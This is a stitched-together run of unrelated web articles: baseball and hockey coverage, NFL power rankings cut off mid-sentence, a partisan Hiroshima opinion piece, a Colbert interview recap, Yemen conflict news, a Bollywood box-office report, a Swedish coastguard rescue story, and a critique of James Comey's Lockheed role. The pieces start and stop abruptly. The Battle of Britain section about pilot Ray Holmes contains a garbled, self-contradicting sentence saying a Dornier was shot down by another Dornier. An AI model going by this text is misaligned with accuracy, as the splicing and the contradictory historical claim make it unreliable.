So what do the Orioles do? How do they address the rotation? Or, more to the point, do they need to address the rotation in the first place?
After all, Baltimore is winning a whole lot of games despite a whole lot of bad pitching, and it's not entirely outside the realm of possibility that Gallardo and Jimenez find their groove in the second half, or that Gausman learns to pitch like an ace all the time. More important, addressing the rotation means trading more prospects, which means fewer good, young players coming up out of the system, which means that in order to get more players down the line, the Orioles have to spend more money or trade still more prospects. Baltimore doesn't have a lot of prospects on a good day. Dealing from that stock for a fourth straight year to add some deadline rentals would deplete it even further.
In the end, standing pat and seeing how long manager Buck Showalter can play out the string with the roster he has is probably the best bet, not only because of who is on Baltimore's roster but because of who's on everybody else's in the East. The teams the Orioles will be playing the most this year are hardly better off as far as staff quality goes; even the Red Sox and the Rays are having abysmal years on the mound, and Toronto's not hitting the way it did last year.
Sometimes the only answer to a problem with no good solutions is to push through it, and see where you end up. Maybe the power of home runs alone can get the Baltimore Orioles a division crown. It's a gamble, but it has got them this far already.
Want to read more stories like this from VICE Sports? Subscribe to our daily newsletter.President Obama has kowtowed to the Japanese and Western liberals by promising at the site of the Hiroshima nuclear bomb “we shall not repeat the evil.”
People who agree with this sentiment ought to do two things.
First they should read the essay – Thank God for the Atom Bomb – war historian Paul Fussell wrote on how he felt when, as a 21-year-old second lieutenant in the US army, he and his comrades heard the news that Japan had been nuclear bombed into surrender.
“When we learned to our astonishment that we would not be obliged in a few months to rush up the beaches near Tokyo assault-firing while being machine-gunned, mortared, and shelled, for all the practiced phlegm of our tough facades we broke down and cried with relief and joy. We were going to live.”
Second, they should familiarize themselves with which country it was started this particular war; which country fought it with such sadistic determination that they would frequently torture and bayonet prisoners – even the wounded, in hospitals they’d over-run and would almost always refuse to surrender themselves, making any assault on territory they held more than usually costly in allied lives.
If ever the US finds itself in such circumstances again, let us pray that the president it has at the time is nothing like Barack Obama.UPDATED with video: “How do you feel about NBC firing you especially in light of Matt Lauer being fired for allegations of actual sexual impropriety,” Stephen Colbert asked Billy Bush on Late Show.
While Lauer was fired last week over an allegation of sexual misconduct and the belief there were more credible allegations coming, NBC famously sacked Today co-host Bush for giggling in the 2005 Access Hollywood tape when Trump bragged about moving on Bush colleague Nancy O’Dell “like a bitch,” and giggled some more when Trump boasted about being so famous he could grab women “by the p*ssy.”
“Look, it was a difficult time, it was very hot emotionally in the country. A lot of people were not comfortable with the man who was close to winning the election, and a lot of things happened quickly,” Bush vamped. A month later, he insisted his boss acknowledged “we may have moved a little quickly.” He did not elaborate and Colbert didn’t ask.
Colbert instead asked, “Did they move on you like a bitch?” stealing one of Trump’s lines from the tape.
“Matt Lauer controlled that show,” Colbert persisted. “He could have protected anybody; he did famously protect people from being fired on that show.”
“Do you wish he would have protected you?” Colbert said, poking the wound.
Bush told Colbert that Lauer told him privately he “took the line” with Bush’s boss – to no avail, apparently. Bush says he believed Lauer and thanked him for the effort.
When the Washington Post made public the Access Hollywood videotape, because NBC News did not, Bush had expected to be given the chance to apologize to Today viewers. Instead, NBC News suspended Bush, then gave him the hook. “I would have liked chance to have been able to address the audience. But it was right after the debate, and the tape made it in time for the debate,” Bush explained.
Colbert and Bush never settled why Trump had “stuck his finger in the door hinge” when he started telling people privately, including at least one member of the U.S. Senate, that he does not think the voice on the Access Hollywood tape is his. “It’s the dumbest thing he could have done. He’s a dumb, dumb person,” Colbert said.And then Schultz smiled. And then he broke out laughing.
PITTSBURGH -- Pittsburgh Penguins defenseman Justin Schultz was in the middle of a cliché-filled answer, talking about the need for one more win, how the fourth one is always the hardest to get, how they can't think too far ahead, how they have to take it shift-by-shift, period-by-period, yada, yada, yada.
Even Schultz, trying to play it straight when asked if he allows himself to think about the Stanley Cup now, wasn't buying what he was trying to sell after Pittsburgh's 6-0 win in Game 5 of the Stanley Cup Final against the Nashville Predators at PPG Paints Arena on Thursday.
The Penguins have a 3-2 lead in the best-of-7 series. They are one win away from being the first repeat Stanley Cup champion since 1998. The Cup will be in the building when they play Game 6 at Bridgestone Arena on Sunday (8 p.m. ET; NBC, CBC, SN, TVA Sports). They're potentially 60 minutes away from another summer of partying.
"I mean," Schultz said, now into a full-on laugh, "it's impossible not to think about."
There, an honest answer. Good.
[RELATED: Complete Stanley Cup Final series coverage]
Nobody would have believed Schultz or any of the Penguins if they said they won't think about the Stanley Cup between now and puck drop in Nashville on Sunday. Frankly, it'll probably be the only thing they think about.
There is nothing wrong with that. Imagine being one step away from achieving something great, from doing something that hasn't been done in 19 years. You'd be thinking about the finish line, too.
But the thing about the Penguins is they can keep their eyes on the prize without losing focus on the process. They did it last year when they were up 3-1 in the Stanley Cup Final going into Game 5 at home against the San Jose Sharks. They lost, so they had to do it again going into Game 6 at SAP Center. They won.
"I think this group of guys in here is good to just focus on the little things and getting the job done," Schultz said. "Whatever happens, we're going to keep going."
That's exactly what the Penguins have done against the Predators.
"I believe this team has gotten better with each game that it's played," coach Mike Sullivan said.
He's probably right.
The Penguins won 5-3 in Game 1, but were outplayed for long stretches. They even went 37 minutes without a shot on goal.
They won 4-1 in Game 2, when they were better than they were in Game 1 but not close to as good as they can be. They scored three goals in the first 3:28 of the third period. Otherwise, the Predators outplayed them.
"We knew coming out of the first two games that we probably didn't play our best," Sullivan said, "and were fortunate to be in the position that we were in."
Video: Michelle speaks with Murray about his performance
The Penguins lost 5-1 in Game 3 because the Predators were opportunistic, goalie Matt Murray wasn't good, and their big three of center Sidney Crosby, center Evgeni Malkin and forward Phil Kessel were no-shows.
However, they responded with a solid Game 4 filled with high danger chances and a jump-on-my-back performance from Crosby. Predators goalie Pekka Rinne was better and Nashville won 4-1. Stuff happens.
"I think sometimes people can get fooled by the scores of games, but we don't," Sullivan said. "We try to keep an objective assessment of our games, and we felt as though we played a little bit better than the results we got in Nashville."
They carried that momentum into Game 5 and rolled over the Predators like a freight train barreling downhill.
Crosby, Malkin and Kessel combined for two goals and six assists. Twelve players had at least one point, including five from the defense group, which Sullivan said might have had its best game of the 24 the Penguins have played in the 2017 Stanley Cup Playoffs.
All six defensemen were quick to make a play from the back end, to move the puck up to the forwards and to join the rush to make it a five-man breakout. Their gaps were tight. It's hard to recall a single Grade-A chance created by the Predators. Murray may never have an easier 24-save shutout.
"I think we've got a realistic assessment of where our team is at," Sullivan said. "We believe that we're gaining traction and momentum with each game that we play. We understand that the next one is going to be the hardest, and so we're going to have to reset our mindset and be ready."
The assumption here is they will do exactly that, because that's what the Penguins do so well.
"We don't spend too much time patting ourselves on the back," center Matt Cullen said.
Instead they analyze, they process and they move on. Their approach won't change even if they're one win away, and spouting off all the clichés in the world won't get them to stop thinking about the prize.
Day off Friday. Practice and travel Saturday. Morning skate Sunday. Opening faceoff Sunday night. One shift and one period at a time.
None of it sounds exciting, but setting up the party never is.
"Still a lot of work to be done," Crosby said.What a Super Bowl, right? It was the second-greatest of the past few years, behind only Super Bowl XLII, when the New England Patriots' undefeated season went down in flames -- although Steelers-Cards (XLIII) certainly merits consideration.
Baltimore's win leaves many to wonder if the Ravens are in fact the best team in pro football. The Powers That Be at NFL.com saw this potential outcome and immediately thought: "Power rankings? Yeeessssss!" Let me show you how you find out you're getting an assignment at my place of work:
Twitter, of course. (There went my Super Bowl after-party -- and the better part of Monday.)
It's worth mentioning that I had written some pretty good rot before the power went out in my apartment. Yes, I was dominating Microsoft Word for Mac. To compare it to a football game, I'd say the score was 28-6. But the long delay allowed writer's block back into the fold, so this intro is being cut short.
How do the 32 NFL teams stand today, going forward into free agency and beyond? The answer key lies below. Feel free to pass along any thoughts on these rankings to the usual addy: @Harrison_NFL.
Let the dissension commence on this, the first official Power Rankings of the 2013 season...
RANK 3 PATRIOTS The New England Patriots are still one of the top two teams in the AFC. That's becoming old hat. Still, it's been eight seasons since this team won the Super Bowl. The key for the Pats, as mentioned above, is their mix of veterans and young talent. Stevan Ridley, for example, just broke out in his second NFL season. The linebacking corps is turning into a team strength. If the Pats get Ed Reed, New England will be playing in New Jersey a little less than a year from now.
RANK 5 FALCONS This is a tough call. The Atlanta Falcons are capable of putting up 13 wins -- they've managed that feat in two of the past three years. They also have no problem getting out in front of opponents with coordinator Dirk Koetter's explosive offensive. The good news: Koetter signed a contract extension to remain in Atlanta. The not-so-good news: It doesn't seem that this team can change much to get over the hump. Mike Smith's club is already the least penalized, most disciplined team in the league. Getting Brent Grimes back will help. Nonetheless, little will change until this team learns to close the deal in the postseason. Even in the divisional-round win over the Seahawks, many felt Seattle should've pulled it out. I'll go with could've.
RANK 6 SEAHAWKS There are multiple question marks entering every offseason for every team, but in Seattle, the biggest has to be how this club will fare without defensive coordinator Gus Bradley, who left for the head job in Jacksonville. We can talk free agents, or Russell Wilson's development. Still, much of 2013's success will boil down to how Dan Quinn does in his new role as Bradley's replacement. Luckily for the 12th Man, Quinn was in charge of the defensive line under Pete Carroll in 2010. He knows the personnel, and, more importantly, the drop-off should be nil. Should be.
RANK 7 PACKERS The Green Bay Packers are easily the favorites to win the NFC North. The bottom line for this group is threefold (yes, I'm in a listy mood):
1) Dom Capers' job might be safe, but the defense must improve to get to the next step. The Packers' D is decent now, but not stout enough to overcome...
2)... the running game. Averaging 3.9 yards per carry, Alex Green and the committee exhibited promise, but not enough to truly diminish the immense load on Aaron Rodgers.
3) Randall Cobb has developed? Doesn't mean Greg Jennings is expendable.
RANK 8 TEXANS Is this a premium team? Houston Texans fans must be concerned with how this past season played out. The club couldn't get past New England in the playoffs and really played poorly for much of December. I could see Houston going 12-4 again or dropping a rung (or two). Brian Cushing's return should help immensely, as will playing in a still-weak AFC South.
RANK 9 BENGALS Another postseason berth, another season-ender at Reliant. So what's in store for the Cincinnati Bengals in 2013? This club has been in the playoffs three of the past four seasons, yet can't get past the first round. Heading toward next season, the hope is that the kids continue to get better, starting with A.J. Green, Andy Dalton and Jermaine Gresham. Don't sleep on 2012 third-round draft pick Mohamed Sanu, who really came on before getting hurt. Better yet, the Bengals have a crapload of cap space (over $50 million).
RANK 10 REDSKINS If Robert Griffin III is back for the beginning of the 2013 season, the Washington Redskins are the frontrunners to win the NFC East. Not because they won it in 2012. No, because they won it in 2012 despite having two of their key contributors (Brian Orakpo and Adam Carriker) miss almost the entire season. Having a healthy Orakpo on the defensive side of the ball is like having Kat Dennings return for another season on "2 Broke Girls." That's a big development...
RANK 11 SAINTS The New Orleans Saints need to clear some cap space this offseason. Nonetheless, this non-playoff team could quickly turn into a contender in 2013. Sean Payton is back, the bounty scandal is in the past and these players just saw the Super Bowl played on their field. This is a new team, without the biggest distraction since Spygate -- and the McRib.
RANK 12 GIANTS Talk about never knowing what you're gonna get from a team... From 9-7 Super Bowl champs to 9-7 postseason-free chumps. Running back Ahmad Bradshaw has another foot surgery on his résumé, meaning David Wilson must be ready from the get-go (unlike in 2012). It was evident by midseason that Eli Manning had too much on his shoulders -- similar to Aaron Rodgers in Green Bay -- yet Eli didn't play as well. It sure would help if Hakeem Nicks could ever stay healthy.
RANK 13 COLTS The Indianapolis Colts have some core pieces, no question. The expectation here, however, is that Indy will take a step back. The magical 11-5 season was just that. The Colts continually pulled out tight ballgames while getting blown out in losses. That's not to say this club falls to 6-10, but some of those squeakers will go the other way in 2013. The Colts were outscored by 30 points over the course of the season, and two of their most prominent players -- Robert Mathis and Dwight Freeney -- are getting long in the tooth. Freeney, who didn't fit the new defensive scheme well, will likely be donning a new uni in 2013. They have some money to play with this offseason, so get ready for some Irsay tweetage.
RANK 14 COWBOYS Many Dallas Cowboys players -- including DeMarcus Ware -- were disappointed by the firing of defensive coordinator Rob Ryan. Will Monte Kiffin be an upgrade? That's a difficult question. Honestly, it's tough to evaluate Ryan's performance in 2012, considering all of the injuries this team dealt with on the defensive side of the ball. (During one game, Dallas lined up with just five of its original starters on D.) That said, while Ryan has had one top-10 defense in his career as a coordinator, Kiffin's Tampa Bay defenses finished in the top 10 during 11 of his 13 years with the Bucs (1996 to 2008). That's why Ryan has been out of work for a bit longer than five minutes.
RANK 15 STEELERS Sure thing: The Pittsburgh Steelers are always in the running. The Steelers have finished 8-8 or better in 12 of the past 13 seasons. So how much can they improve on 2012's.500 mark? Whether fans are sick of hearing it or not, age is still an issue to be addressed on defense. James Harrison is likely gone. Troy Polamalu and Ryan Clark only have so much gas left in the tank at safety. Where will Mike Wallace play in 2013? Who is the starter at tailback?
RANK 17 VIKINGS Like so many in my business, I was soooo wrong about the 2012 Minnesota Vikings. Didn't see 10-6 coming. And I can't see a repeat of it now. Not unless Christian Ponder takes a giant step in his third year, and an even larger leap is made by the receiver corps. Having Percy Harvin for 16 games instead of nine would be nice. Adrian Peterson going for 2,000 yards -- or at least 1.7K -- seems almost necessary. The club carries over some cap residual, leaving room to make (tempered) noise in free agency.
RANK 19 PANTHERS Ron Rivera held his job. Rob Chudzinski did not. Carolina's former offensive coordinator is now the lead dog in Cleveland, which is slightly relevant. Cam Newton and the offense came alive over the last nine games, scoring a whopping 251 points while going 6-3. Chudzinski played a large role in the late-season success. Now it's up to Mike Shula, who was promoted from quarterbacks coach to fill Chud's spot. Continuity is rarely a bad thing, and with Rivera retaining his gig, this move made sense. Carolina is over the cap, with Jon Beason, Chris Gamble and Jonathan Stewart (or DeAngelo Williams) subject to a possible release. Rivera has his work cut out for him.
RANK 20 BUCCANEERS What's the plan in 2013? In 2012, Greg Schiano made some noise by playing about 7,000 guys in the preseason. Tampa got hot in midseason and, at 6-4, was in prime wild-card contention -- until everything fell apart. Tampa Bay needs to draft the best corner available. The front office must get a deal done with Michael Bennett, whom I personally watched decimate the Cowboys in Week 3. Then there's the Josh Freeman enigma. Is he the answer?
RANK 21 CHARGERS Mike McCoy comes to town with perhaps the trickiest research project in the business: discovering what happened to Philip Rivers. (Well, other than the fact that Robert Meachem gave the San Diego Chargers virtually nothing in free agency, and ditto for Eddie Royal.) The Bolts' new head coach inherits a smart veteran quarterback, though he might not be as accomplished as Peyton Manning... Still, Rivers once led all quarterbacks not named Otto Graham in career points per game. He's 31. Kurt Warner's career took a nosedive at 31, but he eventually got it back. Rivers can, too.
RANK 22 DOLPHINS What if the Miami Dolphins signed Greg Jennings AND Mike Wallace? Yeah, and what if Charlize Theron became an NFL.com analyst? OK, dreaming aside, Miami does have the cap space to get an impact player. The Dolphins also must re-sign Jake Long and -- potentially -- Reggie Bush. With five picks in the top 100 of the 2013 NFL Draft, this 7-9 football team could be pretty damn good in 2013... or 2014.
RANK 23 BROWNS Michael Lombardi and Rob Chudzinski are new to the party. Both have much to do. The former must retool a defense that was ransacked by injury early last season and could use pieces in the back seven. A free safety would be apropos, as would a healthy Chris Gocong at linebacker. In fact, add another linebacker to that list. And if another new guy in Cleveland, defensive coordinator Ray Horton, makes the switch to a 3-4, the defensive line will see a shakeup. Ironically, that might be the most talented section of the defense. Big question marks here, and we haven't even discussed Brandon Weeden.
RANK 24 LIONS The club has decisions to make on free agents-to-be Chris Houston and Louis Delmas. Houston has been so-so, while Delmas has found it darn near impossible to make it through a 16-game season. The modern-day Bob Sanders played in just eight games last season. Secondary quagmires aside, Detroit can't allow 10 return touchdowns (most in NFL) again. Nor can Jim Schwartz's offense afford to run the ball so inconsistently.
RANK 25 BILLS The K-Gun offense is all the rage in Buffalo. It's being resurrected at the rate of hobbits, nerd-turned-"cool guy" commercials and coaches reportedly throwing Super Bowls. But here's the problem with head coach Doug Marrone's master plan: Who's gonna throw the ball, i.e., run the offense? Ryan Fitzpatrick? OK. Where's Andre Reed, James Lofton and Keith McKeller (whom the offense was named after)? Does Buffalo have the personnel? If the answer in the minds of Bills fans is "yes," that means they're only worried about new offensive coordinator Nathaniel Hackett's lack of experience. I don't blame them. If Buffalo is to go up-tempo, it has to be all in, or the fast-track approach likely won't work.
RANK 26 JETS Oh, boy. With over $140 million committed toward the cap and a very public quarterback issue, this organization is going to get worse before it gets better. When it comes to people in new jobs, who thinks New York Jets general manager John Idzik has the most formidable |
Grossman, Peden praised the iPhone’s portability and the “comfortability not having some humongous lens in your face” — it allowed them to work with a tiny crew, so it felt like a “throwback to the early days” of their career.
“It didn’t feel like a big magazine cover shoot where there were a bunch of assistants and light reflectors,” Peden said. “It felt very comfortable and natural.”
Similarly, they said the VSCO app allowed them to edit photos while at their favorite bar or brunch spot, rather than having to drag out their laptop.
Peden and Munkvold made multiple trips to Oaxaca earlier this year. Munkvold recalled scouting locations on the first visit and creating a mood board of photos to show to Grossman — and since those photos were all taken on an iPhone, they were also geotagged, making it easy to find each spot again.
Moving forward, Grossman said the iPhone can just become another part of Bon Appétit’s toolbox. Sure, it’s not at the point where the photos are completely comparable to “a $25,000 DSLR,” particularly in print — but if you shoot in the right conditions, “99.9 percent of people out there” might not know the difference.
“We always have to be pushing and evolving our aesthetic anyway,” Grossman said. “It doesn’t really matter whether it’s a phone or an illustration or cool type design, we’re always finding new ways, whatever they may be, to push our aesthetic.”
Munkvold added that while some pro photographers might be threatened by the way the iPhone puts a powerful camera in everyone’s hands, “We see it more as: Anything that will elevate the game is welcome.”Shia rebels use violent means to disperse thousands of protesters who congregated in cities Taiz and Torba as country wavers on brink of civil war
Shia rebels fired bullets and teargas to disperse thousands of protesters demanding they withdraw from a southern province, killing six demonstrators, wounding scores more and escalating tensions in a country on the verge of civil war.
Yemeni implosion pushes southern Sunnis into arms of al-Qaida and Isis Read more
The rebels, known as Houthis, seized the capital Sana’a in September and have been advancing south alongside forces loyal to former President Ali Abdullah Saleh. In recent days they have closed in on the southern port city of Aden, where the internationally recognised president, Abd Rabbo Mansour Hadi, is now based.
Massive protests were held in the third largest city of Taiz – which the rebels largely seized over the weekend – and in Torba, some 60 miles (100km) away, where witnesses said the streets were filled with thick black smoke from burning tyres and where protesters torched three armoured vehicles.
“Torba turned into a ball of fire,” said Khaled al-Asswadi, a resident. He said the protesters managed to prevent the Houthis from advancing into the city.
A medical official said six protesters were killed and dozens wounded in Torba. Local activists posted pictures on social media of what they said were dead protesters, their clothes drenched in blood.
Another witness, Mohammed Salem, said that Houthis and Saleh’s forces fired anti-aircraft guns to scare off the protesters, “but the number of protesters increased instead”. In a statement, Yemen’s Socialist party warned that the Houthis’ invasion of the mostly Sunni south would set off a “sectarian war”.
Taiz is Yemen’s third largest city and the birthplace of the Arab spring-inspired uprising in 2011, which forced Saleh to hand over power to Hadi in a deal brokered by the UN and Gulf countries the following year.
But Saleh never fully retired, and has been widely accused of acting through his loyalists in the government and security forces to derail the country’s democratic transition. He is now allied with the rebels, and his loyalists helped the Houthis to take over the airport and other government buildings in Taiz.
In addition to dispersing the protesters, the Houthis also engaged in heavy fighting with militias loyal to Hadi in the city of al-Dhalea, where the two sides used artillery, anti-aircraft guns and machine guns, according to a Yemeni security official. The Houthis and troops loyal to Saleh have taken over the governor’s office there.
All officials spoke on condition of anonymity because they were not authorised to speak to the press.
The Houthis hail from the Shiite Zaydi community, which makes up around a third of Yemen’s population and is concentrated in the north. The Houthis’ opponents view them as a proxy of Shiite Iran, charges they deny.
Hadi fled house arrest in Sanaa last month and has set up a base in Aden, the capital of the once-independent south. On Monday he called on Gulf countries to intervene against the rebels and for the UN to set up a no-fly zone.
Saudi Arabia’s foreign minister, Saud al-Faisal, meanwhile warned that “if the Houthi coup does not end peacefully, we will take the necessary measures for this crisis to protect the region.”
The six-nation Gulf Cooperation Council – Saudi Arabia, Kuwait, Qatar, the United Arab Emirates, Oman and Bahrain – warned earlier this year that they would act to protect the Arabian Peninsula’s security and described the Houthi takeover as a “terrorist” act.Battle of Britain Edit
In June 1940 he joined No. 504 Squadron RAF. He became known among his flight comrades as “Arty” which was taken from the initials of his name R.T.
[7] The device had not been tested at high altitude and when used, squirted black oil over Holmes' windshield and attracted the attention of British fighters. The Do 17 was shot down by Rudolf Heitsch's Dornier Do 17 in Castle Farm Shoreham. The flame throwing device is just visible on the aft fuselage.The device had not been tested at high altitude and when used, squirted black oil over Holmes' windshield and attracted the attention of British fighters. The Do 17 was shot down by John Dundas and his wingman.
On 15 September 1940, known as the Battle of Britain Day, Sergeant Holmes was flying a Hawker Hurricane fighter when he spotted a formation of three Dornier Do 17 bombers of Kampfgeschwader 76 heading for central London, to make a bombing attempt. As he made an attack on one of the bombers, the bomber fired a flamethrower at him, and Holmes' windscreen was covered in oil.[8]
The flamethrower, obviously intended for use on the ground, was not working properly at 16,000 feet, giving a jet of flame only some 100 yards long. The oil had not caught fire, and it was this that had found its way onto the Hurricane. Knowing that the airflow would clear the oil away, Ray Holmes waited for his view to be restored. As his windscreen cleared Ray realised that he was dangerously close to the Dornier, and ramming the stick forward, passed beneath the bomber.[8]
I made my attack on this bomber and he spurted out a lot of oil, just a great stream over my aeroplane. blotting out my windscreen. I couldn't see a damn thing. Then, as the windscreen cleared, I suddenly found myself going straight into his tail. So I stuck my stick forward and went under him, practically grazing my head on his belly.
[8]
He attacked the second Dornier, causing a crew member to bail out.
I got to the stern of the aeroplane and was shooting at him when suddenly something white came out of the aircraft. I thought that a part of his wing had come away but in actual fact it turned out to be a man with a parachute coming out. I was travelling at 250 miles per hour, it all happened so quickly, but before I knew what had happened this bloody parachute was draped over my starboard wing. There was this poor devil on his parachute hanging straight out behind me, and my aeroplane was being dragged. All I could do was to swing the aeroplane left and then right to try to get rid of this man. Fortunately his parachute slid off my wing and down he went, and I thought, Thank heavens for that!
[8]
Robert Zehbe's Dornier falling on Victoria Station after being rammed by Ray Holmes, 15 September 1940.
Holmes then spotted the third Dornier still heading onwards, making directly for Buckingham Palace. Avoiding the bomber's machine gunfire, Holmes quickly climbed ahead of it, then swung around to made a head-on attack on the Dornier. however upon firing discovered his machine guns failed. Holmes decided to ram the bomber hoping his plane could withstand the impact and cut through it. He flew his plane into the top-side of the German bomber, cutting off the rear tail section with his wing.
As I fired, my ammunition gave out. I thought, Hell, he's got away now. And there he was coming along and his tail looked very fragile and very inviting. So I thought I'd just take off the tip of his tail. So I went straight at it along him and hit his port fin with my port wing. I thought, That will just take his fin off and he'll never get home without the tail fin. I didn't allow for the fact that the tail fin was actually part of the main fuselage. Although I didn't know it at the time, I found out later that I had knocked off the whole back half of the aircraft including the twin tails.
[9]
On the ground, the event was captured on film, and witnessed by a large group of people in nearby Hyde Park. Jimmy Earley was playing football at the corner of Ebury Bridge Road, near Victoria station. The air-raid siren had gone off, but as usual he and his friends ignored it. Suddenly they heard gunfire. Earley recalled, "We ran up to the Ebury Bridge and I can remember the Hurricane seemed to go underneath the Dornier, which split and all of sudden - wallop! - it came down in no time. Obviously the Hurricane pilot had no care for his own safety, he couldn't have done. He just hit it and the back of it came off."[9]
Holmes' own plane began to dive to the left, and was no longer responding to the controls. As the Hurricane went into a vertical dive, Holmes bailed out. As he climbed out, the air-stream caught him and smacked him down on to the roof of the Hurricane. Then, as he was thrown backwards, his shoulder hit his own tail fin. When he finally managed to pull his ripcord, the jolt shook off his flying boots and he found himself swinging violently about. Above him he could see the Dornier dive out of control and crash near Victoria tube station.[9]
The pilot of the Dornier, Feldwebel Robert Zehbe, bailed out, only to die later of wounds suffered during the attack.[1] The Observer of the aircraft, Unteroffizier Hans Goschenhofer, and Gunner, Unteroffizier Gustav Hobel, did not survive the crash. However, Radio Operator, Gefreiter Ludwig Armbruster, bailed out over Syndenham, and Flight Engineer, Unteroffizier Leo Hammermeister, bailed out over Dulwich. Jim Earley watched Holmes' Hurricane crash twenty yards from where they had been playing football, near the grounds of Buckingham Palace. Earley recalled, "As soon as it hit the road, it went straight down and burst the water main. Water was all over the place, my feet were soaked."[9]
Holmes came down in a narrow back garden, and ended up dangling inside an empty dustbin.[9][10]
I got hold of the guy ropes and stopped the spinning and looked down. I was right over the railway lines running into Victoria Station. I thought, "Hell, I'm going to get electrocuted now after all this!" Then I was swinging towards a row of houses. I hit the roof of one and could not get any grip on the slates in my stockinged feet. I slithered down the roof until I got to the gutter and thought, Now I'm going to break my back and kill myself falling off a three-storey house! But as I fell there was a sudden jerk and I stopped with just my toes on the ground. My canopy had snagged over an up pipe running past the gutter and that had stopped me. But both my feet were inside a dustbin, the lid was on the ground; the bin had obviously had just been emptied. My two toes touched the bottom of the bin but my heels were off the ground.
[11]
Calmly, Holmes undid the parachute harness and dusted himself down. In the next garden were two girls who had seen him come down. Holmes recalled, "I went over the fence and we all kissed each other". Jim Earley recalled the ecstatic crowd that greeted the downed pilot as he made his way out into the street. "The blokes were shaking his hand, but it was mostly women gathered around him. I wish it had been me, they all cuddled him and kissed him. Then he was carried over their heads towards Chelsea Barracks. Everybody was touching him as he was taken over the bridge. You know, I don't think he wanted to go to Chelsea Barracks, I think he wanted to stay where he was being made a fuss off!"[11][10]
Holmes was feted by the press as a war hero for his saving of Buckingham Palace. As the RAF did not practice ramming as an air combat tactic, this was considered an impromptu manoeuvre, and an act of selfless courage. This event became one of the defining moments of the Battle of Britain and elicited a congratulatory note to the RAF from Queen Wilhelmina of the Netherlands who had witnessed the event.[12] The bomber's engine was later exhibited at the Imperial War Museum in London.
Later activities Edit
When recovered, he became part of No 81 Squadron, and was sent to the Northern Front near Murmansk in Soviet Russia to help train the Russian air force in flying the Hawker Hurricane. Here he claimed a further kill; a Bf 109 F. He married Elizabeth Killip in April 1941[6] and was commissioned as a Pilot Officer on 10 June 1941,[13] promoted to Flying Officer on 10 June 1942,[14] and Flight Lieutenant on 10 June 1943.[15]
Returning from Russia, Holmes served as an instructor with 2 FIS, Montrose, from 1942 until 1944. He then flew PR Spitfires with 541 Squadron from February 1945.Hrithik Roshan starrer "Krrish 3" has taken a fantastic start at collection centers in India. The morning and afternoon shows have showed excellent response at multiplexes and single screens.
According to trade analyst Taran Adarsh, the occupancy at multiplexes is 80 to 85 percent and at some places its 100 percent. Even at single screens the film has registered 100 percent occupancy.
Generally, the morning and afternoon shows remains dull and it picks up by evening shows. However, the response for "Krrish 3" in both multiplexes as well as single screens is humongous.
The rate at which the film has opened and increased ticket prices suggests huge first day collection for a non-holiday Friday opener.
The pre-Diwali period is considered to be little dull as most of the people get busy with the festivities. But "Krrish 3" has emerged as a record breaker. At times even big-budget films fail to open with huge response despite being a holiday release.
"This Diwali, #Krrish3 can emerge the gamechanger, the record-smasher. Wait and watch! Reports pouring in from across the country," Adarsh tweeted adding, "#Krrish3 starts on a heroic note. Overwhelming start in Delhi, UP and Rajasthan morning shows."
Looking at the morning and afternoon shows response from across the country, the film is expected to cross "Chennai Express" and "Yeh Jawaani Hai Deewani" opening day figure. But being Dhanteras, the evening and night shows might see some drop.
"Krrish 3" is one of the most expensive films till date. The film has also garnered appreciation for the amazing visual effects [Read the critics review here]The Swedish coastguard crew leaves behind three dramatic months taking part in the EU's border operation Triton.
Its last effort saw 572 migrants rescued from a rubber boat off the coast of Libya – but 52 dead bodies were tragically found below deck in a wooden boat.
“Nobody can be part of an operation like this without being affected and touched,” Kenneth Neijnes, head of the Swedish mission, told the TT news wire of his crew on Monday.
The statistics show the extent of the rescue operation. Around 100 crew members participated in the effort during which Poseidon helped rescue a total of 5,295 migrants: 4,330 men, 544 women and 421 children. Fatalities: 53.
But Neijnes emphasizes that they are more than just numbers.
“I wish that everyone could join us and see the situation on the ground. It is easy to speak about migrants and refugees – but they are people."
One of the refugees he will remember the most is a ten-year-old boy.
“He was so frightened and was on the verge of becoming apathetic. (…) These children are so vulnerable and have experienced things that children should never have to experience,” he says.
“When you're down there you are preoccupied with work but afterwards the thoughts come. What happened to that ten-year-old boy, where did he go? It feels like a sign of poverty if we can't offer protection. If I look around here in Sweden, we have the ability to help.”
Kenneth Neijnes of the Swedish coastguard. Photo: Leif R Jansson/SCANPIX
His staff began the journey home to Gothenburg at noon on Sunday after carrying out a total of 21 rescue operations from June 1st to August 1st. People from around 30 different countries were plucked from the water – mainly from Eritrea, Syria and Sudan.
Neijnes hints that another, bigger, operation could be on the cards, but adds that a government decision would be required to make it happen.
READ ALSO: EU calls migrant crisis emergency talks
Earlier on Monday the European Union called an emergency meeting of interior and justice ministers in Brussels on September 14th to find measures to cope with escalating migration following a joint call for action by several nations.
The number of migrants reaching the EU's borders reached nearly 340,000 during the first seven months of the year, up from 123,500 during the same period in 2014, according to the bloc's border agency Frontex.
At least 2,300 migrants have died at sea since January during attempts to reach Europe, almost invariably on overcrowded boats chartered by people smugglers.Ready to fight back? Sign up for Take Action Now and get three actions in your inbox every week. You will receive occasional promotional offers for programs that support The Nation’s journalism. You can read our Privacy Policy here. Sign up for Take Action Now and get three actions in your inbox every week.
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When the ten Democrats and eight Republicans on the Senate Judiciary Committee questioned James Comey in his hearing on July 9 for confirmation as director of the FBI, the words “Lockheed Martin,” where Comey was general counsel and senior vice president between 2005 and 2010, were mentioned only twice. The first was when Chairman Patrick Leahy reviewed his career highlights. The second was when Senator Chuck Grassley noted that the FBI had cancelled Lockheed’s contract to build its next-generation case-management system for their poor performance and asked if Comey had any involvement the case. “None,” Comey replied. And that was that. The committee then unanimously voted to send his nomination on to the full Senate. Had the feckless solons the wit to ask the right questions about Comey’s role in another disastrous Lockheed contract, they might have concluded he isn’t fit for federal office at all. Ad Policy
In 2002, the Coast Guard retained Integrated Coast Guard Systems, a joint venture of Lockheed Martin and Northrup Grumman, for a $24 billion project called Deepwater, the largest in Coast Guard history. The contract included building a new fleet of forty-nine 123-foot patrol boats. Soon, though, the lead engineer, Michael DeKort, discovered that there were environmental concerns with much of the ship’s equipment, including radios that were not waterproof and hulls that buckled on the high seas. He tried to persuade his superiors to address the problems, but they weren’t interested. Then, when he couldn’t interest the press, he posted a 2006 cri de coeur on YouTube; he did so after receiving a letter from Lockheed’s board of directors reporting that they had “determined that the Corporation’s responses to those issues, beginning in October 2004 and continuing to the present, were appropriate and no further action is warranted. Each of the issues has been disclosed to the Coast Guard and the resolution of each issue was coordinated with and was or is being resolved to the satisfaction of the Coast Guard customer.”
That letter was signed by Lockheed’s senior vice president and general counsel, James Comey [PDF].
